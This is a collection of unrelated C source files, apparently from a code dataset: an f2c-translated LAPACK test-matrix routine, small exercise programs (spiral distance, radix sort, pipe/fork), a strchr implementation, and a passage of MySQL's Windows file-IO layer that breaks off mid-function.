dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static integer c__1 = 1; static integer c__4 = 4; static integer c__12 = 12; static integer c__8 = 8; static integer c__40 = 40; static integer c__2 = 2; static integer c__3 = 3; static integer c__60 = 60; /* > \brief \b DLATM6 */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* Definition: */ /* =========== */ /* SUBROUTINE DLATM6( TYPE, N, A, LDA, B, X, LDX, Y, LDY, ALPHA, */ /* BETA, WX, WY, S, DIF ) */ /* INTEGER LDA, LDX, LDY, N, TYPE */ /* DOUBLE PRECISION ALPHA, BETA, WX, WY */ /* DOUBLE PRECISION A( LDA, * ), B( LDA, * ), DIF( * ), S( * ), */ /* $ X( LDX, * ), Y( LDY, * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > DLATM6 generates test matrices for the generalized eigenvalue */ /* > problem, their corresponding right and left eigenvector matrices, */ /* > and also reciprocal condition numbers for all eigenvalues and */ /* > the reciprocal condition numbers of eigenvectors corresponding to */ /* > the 1th and 5th eigenvalues. */ /* > */ /* > Test Matrices */ /* > ============= */ /* > */ /* > Two kinds of test matrix pairs */ /* > */ /* > (A, B) = inverse(YH) * (Da, Db) * inverse(X) */ /* > */ /* > are used in the tests: */ /* > */ /* > Type 1: */ /* > Da = 1+a 0 0 0 0 Db = 1 0 0 0 0 */ /* > 0 2+a 0 0 0 0 1 0 0 0 */ /* > 0 0 3+a 0 0 0 0 1 0 0 */ /* > 0 0 0 4+a 0 0 0 0 1 0 */ /* > 0 0 0 0 5+a , 0 0 0 0 1 , and */ /* > */ /* > Type 2: */ /* > Da = 1 -1 0 0 0 Db = 1 0 0 0 0 */ /* > 1 1 0 0 0 0 1 0 0 0 */ /* > 0 0 1 0 0 0 0 1 0 0 */ /* > 0 0 0 1+a 1+b 0 0 0 1 0 */ /* > 0 0 0 -1-b 1+a , 0 0 0 0 1 . */ /* > */ /* > In both cases the same inverse(YH) and inverse(X) are used to compute */ /* > (A, B), giving the exact eigenvectors to (A,B) as (YH, X): */ /* > */ /* > YH: = 1 0 -y y -y X = 1 0 -x -x x */ /* > 0 1 -y y -y 0 1 x -x -x */ /* > 0 0 1 0 0 0 0 1 0 0 */ /* > 0 0 0 1 0 0 0 0 1 0 */ /* > 0 0 0 0 1, 0 0 0 0 1 , */ /* > */ /* > where a, b, x and y will have all values independently of each other. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] TYPE */ /* > \verbatim */ /* > TYPE is INTEGER */ /* > Specifies the problem type (see further details). */ /* > \endverbatim */ /* > */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > Size of the matrices A and B. */ /* > \endverbatim */ /* > */ /* > \param[out] A */ /* > \verbatim */ /* > A is DOUBLE PRECISION array, dimension (LDA, N). */ /* > On exit A N-by-N is initialized according to TYPE. */ /* > \endverbatim */ /* > */ /* > \param[in] LDA */ /* > \verbatim */ /* > LDA is INTEGER */ /* > The leading dimension of A and of B. */ /* > \endverbatim */ /* > */ /* > \param[out] B */ /* > \verbatim */ /* > B is DOUBLE PRECISION array, dimension (LDA, N). */ /* > On exit B N-by-N is initialized according to TYPE. */ /* > \endverbatim */ /* > */ /* > \param[out] X */ /* > \verbatim */ /* > X is DOUBLE PRECISION array, dimension (LDX, N). */ /* > On exit X is the N-by-N matrix of right eigenvectors. */ /* > \endverbatim */ /* > */ /* > \param[in] LDX */ /* > \verbatim */ /* > LDX is INTEGER */ /* > The leading dimension of X. */ /* > \endverbatim */ /* > */ /* > \param[out] Y */ /* > \verbatim */ /* > Y is DOUBLE PRECISION array, dimension (LDY, N). */ /* > On exit Y is the N-by-N matrix of left eigenvectors. */ /* > \endverbatim */ /* > */ /* > \param[in] LDY */ /* > \verbatim */ /* > LDY is INTEGER */ /* > The leading dimension of Y. */ /* > \endverbatim */ /* > */ /* > \param[in] ALPHA */ /* > \verbatim */ /* > ALPHA is DOUBLE PRECISION */ /* > \endverbatim */ /* > */ /* > \param[in] BETA */ /* > \verbatim */ /* > BETA is DOUBLE PRECISION */ /* > */ /* > Weighting constants for matrix A. */ /* > \endverbatim */ /* > */ /* > \param[in] WX */ /* > \verbatim */ /* > WX is DOUBLE PRECISION */ /* > Constant for right eigenvector matrix. */ /* > \endverbatim */ /* > */ /* > \param[in] WY */ /* > \verbatim */ /* > WY is DOUBLE PRECISION */ /* > Constant for left eigenvector matrix. */ /* > \endverbatim */ /* > */ /* > \param[out] S */ /* > \verbatim */ /* > S is DOUBLE PRECISION array, dimension (N) */ /* > S(i) is the reciprocal condition number for eigenvalue i. */ /* > \endverbatim */ /* > */ /* > \param[out] DIF */ /* > \verbatim */ /* > DIF is DOUBLE PRECISION array, dimension (N) */ /* > DIF(i) is the reciprocal condition number for eigenvector i. */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup double_matgen */ /* ===================================================================== */ /* Subroutine */ int dlatm6_(integer *type__, integer *n, doublereal *a, integer *lda, doublereal *b, doublereal *x, integer *ldx, doublereal * y, integer *ldy, doublereal *alpha, doublereal *beta, doublereal *wx, doublereal *wy, doublereal *s, doublereal *dif) { /* System generated locals */ integer a_dim1, a_offset, b_dim1, b_offset, x_dim1, x_offset, y_dim1, y_offset, i__1, i__2; /* Local variables */ integer info; doublereal work[100]; integer i__, j; doublereal z__[144] /* was [12][12] */; extern /* Subroutine */ int dlakf2_(integer *, integer *, doublereal *, integer *, doublereal *, doublereal *, doublereal *, doublereal *, integer *), dgesvd_(char *, char *, integer *, integer *, doublereal *, integer *, doublereal *, doublereal *, integer *, doublereal *, integer *, doublereal *, integer *, integer *), dlacpy_(char *, integer *, integer *, doublereal *, integer *, doublereal *, integer *); /* -- LAPACK computational routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Generate test problem ... */ /* (Da, Db) ... */ /* Parameter adjustments */ b_dim1 = *lda; b_offset = 1 + b_dim1 * 1; b -= b_offset; a_dim1 = *lda; a_offset = 1 + a_dim1 * 1; a -= a_offset; x_dim1 = *ldx; x_offset = 1 + x_dim1 * 1; x -= x_offset; y_dim1 = *ldy; y_offset = 1 + y_dim1 * 1; y -= y_offset; --s; --dif; /* Function Body */ i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = *n; for (j = 1; j <= i__2; ++j) { if (i__ == j) { a[i__ + i__ * a_dim1] = (doublereal) i__ + *alpha; b[i__ + i__ * b_dim1] = 1.; } else { a[i__ + j * a_dim1] = 0.; b[i__ + j * b_dim1] = 0.; } /* L10: */ } /* L20: */ } /* Form X and Y */ dlacpy_("F", n, n, &b[b_offset], lda, &y[y_offset], ldy); y[y_dim1 + 3] = -(*wy); y[y_dim1 + 4] = *wy; y[y_dim1 + 5] = -(*wy); y[(y_dim1 << 1) + 3] = -(*wy); y[(y_dim1 << 1) + 4] = *wy; y[(y_dim1 << 1) + 5] = -(*wy); dlacpy_("F", n, n, &b[b_offset], lda, &x[x_offset], ldx); x[x_dim1 * 3 + 1] = -(*wx); x[(x_dim1 << 2) + 1] = -(*wx); x[x_dim1 * 5 + 1] = *wx; x[x_dim1 * 3 + 2] = *wx; x[(x_dim1 << 2) + 2] = -(*wx); x[x_dim1 * 5 + 2] = -(*wx); /* Form (A, B) */ b[b_dim1 * 3 + 1] = *wx + *wy; b[b_dim1 * 3 + 2] = -(*wx) + *wy; b[(b_dim1 << 2) + 1] = *wx - *wy; b[(b_dim1 << 2) + 2] = *wx - *wy; b[b_dim1 * 5 + 1] = -(*wx) + *wy; b[b_dim1 * 5 + 2] = *wx + *wy; if (*type__ == 1) { a[a_dim1 * 3 + 1] = *wx * a[a_dim1 + 1] + *wy * a[a_dim1 * 3 + 3]; a[a_dim1 * 3 + 2] = -(*wx) * a[(a_dim1 << 1) + 2] + *wy * a[a_dim1 * 3 + 3]; a[(a_dim1 << 2) + 1] = *wx * a[a_dim1 + 1] - *wy * a[(a_dim1 << 2) + 4]; a[(a_dim1 << 2) + 2] = *wx * a[(a_dim1 << 1) + 2] - *wy * a[(a_dim1 << 2) + 4]; a[a_dim1 * 5 + 1] = -(*wx) * a[a_dim1 + 1] + *wy * a[a_dim1 * 5 + 5]; a[a_dim1 * 5 + 2] = *wx * a[(a_dim1 << 1) + 2] + *wy * a[a_dim1 * 5 + 5]; } else if (*type__ == 2) { a[a_dim1 * 3 + 1] = *wx * 2. + *wy; a[a_dim1 * 3 + 2] = *wy; a[(a_dim1 << 2) + 1] = -(*wy) * (*alpha + 2. + *beta); a[(a_dim1 << 2) + 2] = *wx * 2. - *wy * (*alpha + 2. + *beta); a[a_dim1 * 5 + 1] = *wx * -2. + *wy * (*alpha - *beta); a[a_dim1 * 5 + 2] = *wy * (*alpha - *beta); a[a_dim1 + 1] = 1.; a[(a_dim1 << 1) + 1] = -1.; a[a_dim1 + 2] = 1.; a[(a_dim1 << 1) + 2] = a[a_dim1 + 1]; a[a_dim1 * 3 + 3] = 1.; a[(a_dim1 << 2) + 4] = *alpha + 1.; a[a_dim1 * 5 + 4] = *beta + 1.; a[(a_dim1 << 2) + 5] = -a[a_dim1 * 5 + 4]; a[a_dim1 * 5 + 5] = a[(a_dim1 << 2) + 4]; } /* Compute condition numbers */ if (*type__ == 1) { s[1] = 1. / sqrt((*wy * 3. * *wy + 1.) / (a[a_dim1 + 1] * a[a_dim1 + 1] + 1.)); s[2] = 1. / sqrt((*wy * 3. * *wy + 1.) / (a[(a_dim1 << 1) + 2] * a[( a_dim1 << 1) + 2] + 1.)); s[3] = 1. / sqrt((*wx * 2. * *wx + 1.) / (a[a_dim1 * 3 + 3] * a[ a_dim1 * 3 + 3] + 1.)); s[4] = 1. / sqrt((*wx * 2. * *wx + 1.) / (a[(a_dim1 << 2) + 4] * a[( a_dim1 << 2) + 4] + 1.)); s[5] = 1. / sqrt((*wx * 2. * *wx + 1.) / (a[a_dim1 * 5 + 5] * a[ a_dim1 * 5 + 5] + 1.)); dlakf2_(&c__1, &c__4, &a[a_offset], lda, &a[(a_dim1 << 1) + 2], &b[ b_offset], &b[(b_dim1 << 1) + 2], z__, &c__12); dgesvd_("N", "N", &c__8, &c__8, z__, &c__12, work, &work[8], &c__1, & work[9], &c__1, &work[10], &c__40, &info); dif[1] = work[7]; dlakf2_(&c__4, &c__1, &a[a_offset], lda, &a[a_dim1 * 5 + 5], &b[ b_offset], &b[b_dim1 * 5 + 5], z__, &c__12); dgesvd_("N", "N", &c__8, &c__8, z__, &c__12, work, &work[8], &c__1, & work[9], &c__1, &work[10], &c__40, &info); dif[5] = work[7]; } else if (*type__ == 2) { s[1] = 1. / sqrt(*wy * *wy + .33333333333333331); s[2] = s[1]; s[3] = 1. / sqrt(*wx * *wx + .5); s[4] = 1. / sqrt((*wx * 2. * *wx + 1.) / ((*alpha + 1.) * (*alpha + 1.) + 1. + (*beta + 1.) * (*beta + 1.))); s[5] = s[4]; dlakf2_(&c__2, &c__3, &a[a_offset], lda, &a[a_dim1 * 3 + 3], &b[ b_offset], &b[b_dim1 * 3 + 3], z__, &c__12); dgesvd_("N", "N", &c__12, &c__12, z__, &c__12, work, &work[12], &c__1, &work[13], &c__1, &work[14], &c__60, &info); dif[1] = work[11]; dlakf2_(&c__3, &c__2, &a[a_offset], lda, &a[(a_dim1 << 2) + 4], &b[ b_offset], &b[(b_dim1 << 2) + 4], z__, &c__12); dgesvd_("N", "N", &c__12, &c__12, z__, &c__12, work, &work[12], &c__1, &work[13], &c__1, &work[14], &c__60, &info); dif[5] = work[11]; } return 0; /* End of DLATM6 */ } /* dlatm6_ */
the_stack_data/193894427.c
#include <stdio.h> #include <stdlib.h> int spiral_dist(int square) { int x=0; int y=0; int ring=0; for (int i=1; i<square; i++) { if (x == ring && y == -ring) { x++; ring++; } else if (y == -ring) { x++; } else if (x == -ring) { y--; } else if (y == ring) { x--; } else if (x == ring) { y++; } } return abs(x) + abs(y); } #define SIZE 32 int next_spiral_val(int val) { int grid[2*SIZE-1][2*SIZE-1] = {0}; int x=0; int y=0; int ring=0; int a, b; int ret; grid[SIZE][SIZE] = 1; for (int i=1; ring<SIZE; i++) { if (x == ring && y == -ring) { x++; ring++; } else if (y == -ring) { x++; } else if (x == -ring) { y--; } else if (y == ring) { x--; } else if (x == ring) { y++; } for (a=-1; a<=1; a++) { for (b=-1; b<=1; b++) { if (a != 0 || b != 0) { ret = grid[SIZE+x][SIZE+y] += grid[SIZE+x+a][SIZE+y+b]; } } } if (ret > val) { return ret; } } return -1; } int main(int argc, char* argv[]) { int input = atoi(argv[1]); printf("Part 1: %d\n", spiral_dist(input)); printf("Part 2: %d\n", next_spiral_val(input)); }
the_stack_data/867388.c
#include <stdio.h> #include <stdlib.h> #include <math.h> void countsort(int arr[], int arrsize, int curplace) { int finarr[arrsize]; //count array of size 10 is initialized as we only sort one digit here, that is digit by digit starting from one end of the number int count[10]; int i; for(i=0;i<10;i++) { //initializing all elements of the count array to 0 count[i]=0; } for(i=0;i<arrsize;i++) { //initializing all elements of the final array to 0 finarr[i]=0; } for(i=0;i<arrsize;i++) { //incrementing those places where element of original array is present count[(arr[i]/curplace)%10] = count[(arr[i]/curplace)%10]+1; } for(i=1;i<10;i++) { //for each element of count array, we add it to value of previous index count[i] = count[i] + count[i-1]; } for(i=arrsize-1;i>=0;i--) { //copying the element into final array and decrementing its count in the count array finarr[count[(arr[i]/curplace)%10] - 1] = arr[i]; count[(arr[i]/curplace)%10] = count[(arr[i]/curplace)%10] - 1; } for(i=0;i<arrsize;i++) { //copying the sorted array into initial array arr[i] = finarr[i]; } } void radixsort(int arr[], int arrsize, int ndigits) { //calling counting sort on each digit of the input numbers for(int i=1; i<=pow(10,ndigits) ; i*=10) { countsort(arr,arrsize,i); } } int main(int argc, char *argv[]) { //opening the input file FILE *fp = fopen(argv[1],"r"); if(fp == NULL) { printf("Could not read input from input file\n"); } else { int *p = (int*)malloc(sizeof(int)); int count=0; int input=0; int ndigits = atoi(argv[2]); //reading file from input while(fscanf(fp,"%d",&input)!=EOF) { p = (int*)realloc(p,(count+1)*sizeof(int)); p[count] = input; count++; } //calling radix sort function on the dynamic array space we created radixsort(p,count,ndigits); //printing output into radix.txt file FILE *fp2 = fopen("radix.txt","w"); if(fp2==NULL) { printf("Could not write to the output file\n"); } else { for(int i=0;i<count-1;i++) { fprintf(fp2,"%d\n",p[i]); } fprintf(fp2,"%d",p[count-1]); } fclose(fp); fclose(fp2); } return 0; }
the_stack_data/155412.c
#include <stdio.h> void CCC() { int c = 3; return; } void BBB() { int b = 2; CCC(); return; } void AAA() { int a = 1; BBB(); return; } int main() { int e = 4; AAA(); return 0; }
the_stack_data/72013278.c
/* This File is Part of LibFalcon. * Copyright (c) 2018, Syed Nasim All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of LibFalcon nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #if defined(__cplusplus) extern "C" { #endif #include <string.h> char * strchr( const char * s, int c ) { do { if ( *s == (char) c ) { return (char *) s; } } while ( *s++ ); return NULL; } #if defined(__cplusplus) } #endif
the_stack_data/473881.c
#include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main(int argc, char *argv[]) { int pipefd[2]; pid_t cpid; char buf[1024]; if (pipe(pipefd) == -1) { perror("pipe"); exit(EXIT_FAILURE); } cpid = fork(); if (cpid == -1) { perror("fork"); exit(EXIT_FAILURE); } if (cpid == 0) { /* Child reads from pipe */ close(pipefd[1]); /* Close unused write end */ int size; while ((size = read(pipefd[0], buf, 1024)) > 0) { printf("out %d bytes \n", size); write(STDOUT_FILENO, buf, size); } write(STDOUT_FILENO, "\n", 1); close(pipefd[0]); _exit(EXIT_SUCCESS); } else { /* Parent writes argv[1] to pipe */ close(pipefd[0]); /* Close unused read end */ char* buff = "01234567890\n"; for (int i =0; i<1000; i++) { write(pipefd[1], buff, strlen(buff)); } close(pipefd[1]); /* Reader will see EOF */ wait(NULL); /* Wait for child */ exit(EXIT_SUCCESS); } }
the_stack_data/34869.c
/* Copyright (c) 2008, 2017, Oracle and/or its affiliates. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* The purpose of this file is to provide implementation of file IO routines on Windows that can be thought as drop-in replacement for corresponding C runtime functionality. Compared to Windows CRT, this one - does not have the same file descriptor limitation (default is 16384 and can be increased further, whereas CRT poses a hard limit of 2048 file descriptors) - the file operations are not serialized - positional IO pread/pwrite is ported here. - no text mode for files, all IO is "binary" Naming convention: All routines are prefixed with my_win_, e.g Posix open() is implemented with my_win_open() Implemented are - POSIX routines(e.g open, read, lseek ...) - Some ANSI C stream routines (fopen, fdopen, fileno, fclose) - Windows CRT equvalients (my_get_osfhandle, open_osfhandle) Worth to note: - File descriptors used here are located in a range that is not compatible with CRT on purpose. Attempt to use a file descriptor from Windows CRT library range in my_win_* function will be punished with DBUG_ASSERT() - File streams (FILE *) are actually from the C runtime. The routines provided here are useful only in scernarios that use low-level IO with my_win_fileno() */ #ifdef _WIN32 #include "mysys_priv.h" #include "my_sys.h" #include "my_thread_local.h" #include <share.h> #include <sys/stat.h> /* Associates a file descriptor with an existing operating-system file handle.*/ File my_open_osfhandle(HANDLE handle, int oflag) { int offset= -1; uint i; DBUG_ENTER("my_open_osfhandle"); mysql_mutex_lock(&THR_LOCK_open); for(i= MY_FILE_MIN; i < my_file_limit;i++) { if(my_file_info[i].fhandle == 0) { struct st_my_file_info *finfo= &(my_file_info[i]); finfo->type= FILE_BY_OPEN; finfo->fhandle= handle; finfo->oflag= oflag; offset= i; break; } } mysql_mutex_unlock(&THR_LOCK_open); if(offset == -1) errno= EMFILE; /* to many file handles open */ DBUG_RETURN(offset); } static void invalidate_fd(File fd) { DBUG_ENTER("invalidate_fd"); DBUG_ASSERT(fd >= MY_FILE_MIN && fd < (int)my_file_limit); my_file_info[fd].fhandle= 0; DBUG_VOID_RETURN; } /* Get Windows handle for a file descriptor */ HANDLE my_get_osfhandle(File fd) { DBUG_ENTER("my_get_osfhandle"); DBUG_ASSERT(fd >= MY_FILE_MIN && fd < (int)my_file_limit); DBUG_RETURN(my_file_info[fd].fhandle); } static int my_get_open_flags(File fd) { DBUG_ENTER("my_get_open_flags"); DBUG_ASSERT(fd >= MY_FILE_MIN && fd < (int)my_file_limit); DBUG_RETURN(my_file_info[fd].oflag); } /* Open a file with sharing. Similar to _sopen() from libc, but allows managing share delete on win32 SYNOPSIS my_win_sopen() path file name oflag operation flags shflag share flag pmode permission flags RETURN VALUE File descriptor of opened file if success -1 and sets errno if fails. */ File my_win_sopen(const char *path, int oflag, int shflag, int pmode) { int fh; /* handle of opened file */ int mask; HANDLE osfh; /* OS handle of opened file */ DWORD fileaccess; /* OS file access (requested) */ DWORD fileshare; /* OS file sharing mode */ DWORD filecreate; /* OS method of opening/creating */ DWORD fileattrib; /* OS file attribute flags */ SECURITY_ATTRIBUTES SecurityAttributes; DBUG_ENTER("my_win_sopen"); if (check_if_legal_filename(path)) { errno= EACCES; DBUG_RETURN(-1); } SecurityAttributes.nLength= sizeof(SecurityAttributes); SecurityAttributes.lpSecurityDescriptor= NULL; SecurityAttributes.bInheritHandle= !(oflag & _O_NOINHERIT); /* decode the access flags */ switch (oflag & (_O_RDONLY | _O_WRONLY | _O_RDWR)) { case _O_RDONLY: /* read access */ fileaccess= GENERIC_READ; break; case _O_WRONLY: /* write access */ fileaccess= GENERIC_WRITE; break; case _O_RDWR: /* read and write access */ fileaccess= GENERIC_READ | GENERIC_WRITE; break; default: /* error, bad oflag */ errno= EINVAL; DBUG_RETURN(-1); } /* decode sharing flags */ switch (shflag) { case _SH_DENYRW: /* exclusive access except delete */ fileshare= FILE_SHARE_DELETE; break; case _SH_DENYWR: /* share read and delete access */ fileshare= FILE_SHARE_READ | FILE_SHARE_DELETE; break; case _SH_DENYRD: /* share write and delete access */ fileshare= FILE_SHARE_WRITE | FILE_SHARE_DELETE; break; case _SH_DENYNO: /* share read, write and delete access */ fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE; break; case _SH_DENYRWD: /* exclusive access */ fileshare= 0L; break; case _SH_DENYWRD: /* share read access */ fileshare= FILE_SHARE_READ; break; case _SH_DENYRDD: /* share write access */ fileshare= FILE_SHARE_WRITE; break; case _SH_DENYDEL: /* share read and write access */ fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE; break; default: /* error, bad shflag */ errno= EINVAL; DBUG_RETURN(-1); } /* decode open/create method flags */ switch (oflag & (_O_CREAT | _O_EXCL | _O_TRUNC)) { case 0: case _O_EXCL: /* ignore EXCL w/o CREAT */ filecreate= OPEN_EXISTING; break; case _O_CREAT: filecreate= OPEN_ALWAYS; break; case _O_CREAT | _O_EXCL: case _O_CREAT | _O_TRUNC | _O_EXCL: filecreate= CREATE_NEW; break; case _O_TRUNC: case _O_TRUNC | _O_EXCL: /* ignore EXCL w/o CREAT */ filecreate= TRUNCATE_EXISTING; break; case _O_CREAT | _O_TRUNC: filecreate= CREATE_ALWAYS; break; default: /* this can't happen ... all cases are covered */ errno= EINVAL; DBUG_RETURN(-1); } /* decode file attribute flags if _O_CREAT was specified */ fileattrib= FILE_ATTRIBUTE_NORMAL; /* default */ if (oflag & _O_CREAT) { _umask((mask= _umask(0))); if (!((pmode & ~mask) & _S_IWRITE)) fileattrib= FILE_ATTRIBUTE_READONLY; } /* Set temporary file (delete-on-close) attribute if requested. */ if (oflag & _O_TEMPORARY) { fileattrib|= FILE_FLAG_DELETE_ON_CLOSE; fileaccess|= DELETE; } /* Set temporary file (delay-flush-to-disk) attribute if requested.*/ if (oflag & _O_SHORT_LIVED) fileattrib|= FILE_ATTRIBUTE_TEMPORARY; /* Set sequential or random access attribute if requested. */ if (oflag & _O_SEQUENTIAL) fileattrib|= FILE_FLAG_SEQUENTIAL_SCAN; else if (oflag & _O_RANDOM) fileattrib|= FILE_FLAG_RANDOM_ACCESS; /* try to open/create the file */ if ((osfh= CreateFile(path, fileaccess, fileshare, &SecurityAttributes, filecreate, fileattrib, NULL)) == INVALID_HANDLE_VALUE) { /* OS call to open/create file failed! map the error, release the lock, and return -1. note that it's not necessary to call _free_osfhnd (it hasn't been used yet). */ my_osmaperr(GetLastError()); /* map error */ DBUG_RETURN(-1); /* return error to caller */ } if ((fh= my_open_osfhandle(osfh, oflag & (_O_APPEND | _O_RDONLY | _O_TEXT))) == -1) { CloseHandle(osfh); } DBUG_RETURN(fh); /* return handle */ } File my_win_open(const char *path, int flags) { DBUG_ENTER("my_win_open"); DBUG_RETURN(my_win_sopen((char *) path, flags | _O_BINARY, _SH_DENYNO, _S_IREAD | S_IWRITE)); } int my_win_close(File fd) { DBUG_ENTER("my_win_close"); if(CloseHandle(my_get_osfhandle(fd))) { invalidate_fd(fd); DBUG_RETURN(0); } my_osmaperr(GetLastError()); DBUG_RETURN(-1); } size_t my_win_pread(File Filedes, uchar *Buffer, size_t Count, my_off_t offset) { DWORD nBytesRead; HANDLE hFile; OVERLAPPED ov= {0}; LARGE_INTEGER li; DBUG_ENTER("my_win_pread"); if(!Count) DBUG_RETURN(0); #ifdef _WIN64 if(Count > UINT_MAX) Count= UINT_MAX; #endif hFile= (HANDLE)my_get_osfhandle(Filedes); li.QuadPart= offset; ov.Offset= li.LowPart; ov.OffsetHigh= li.HighPart; if(!ReadFile(hFile, Buffer, (DWORD)Count, &nBytesRead, &ov)) { DWORD lastError= GetLastError(); /* ERROR_BROKEN_PIPE is returned when no more data coming through e.g. a command pipe in windows : see MSDN on ReadFile. */ if(lastError == ERROR_HANDLE_EOF || lastError == ERROR_BROKEN_PIPE) DBUG_RETURN(0); /*return 0 at EOF*/ my_osmaperr(lastError); DBUG_RETURN((size_t)-1); } DBUG_RETURN(nBytesRead); } size_t my_win_read(File Filedes, uchar *Buffer, size_t Count) { DWORD nBytesRead; HANDLE hFile; DBUG_ENTER("my_win_read"); if(!Count) DBUG_RETURN(0); #ifdef _WIN64 if(Count > UINT_MAX) Count= UINT_MAX; #endif hFile= (HANDLE)my_get_osfhandle(Filedes); if(!ReadFile(hFile, Buffer, (DWORD)Count, &nBytesRead, NULL)) { DWORD lastError= GetLastError(); /* ERROR_BROKEN_PIPE is returned when no more data coming through e.g. a command pipe in windows : see MSDN on ReadFile. */ if(lastError == ERROR_HANDLE_EOF || lastError == ERROR_BROKEN_PIPE) DBUG_RETURN(0); /*return 0 at EOF*/ my_osmaperr(lastError); DBUG_RETURN((size_t)-1); } DBUG_RETURN(nBytesRead); } size_t my_win_pwrite(File Filedes, const uchar *Buffer, size_t Count, my_off_t offset) { DWORD nBytesWritten; HANDLE hFile; OVERLAPPED ov= {0}; LARGE_INTEGER li; DBUG_ENTER("my_win_pwrite"); DBUG_PRINT("my",("Filedes: %d, Buffer: %p, Count: %llu, offset: %llu", Filedes, Buffer, (ulonglong)Count, (ulonglong)offset)); if(!Count) DBUG_RETURN(0); #ifdef _WIN64 if(Count > UINT_MAX) Count= UINT_MAX; #endif hFile= (HANDLE)my_get_osfhandle(Filedes); li.QuadPart= offset; ov.Offset= li.LowPart; 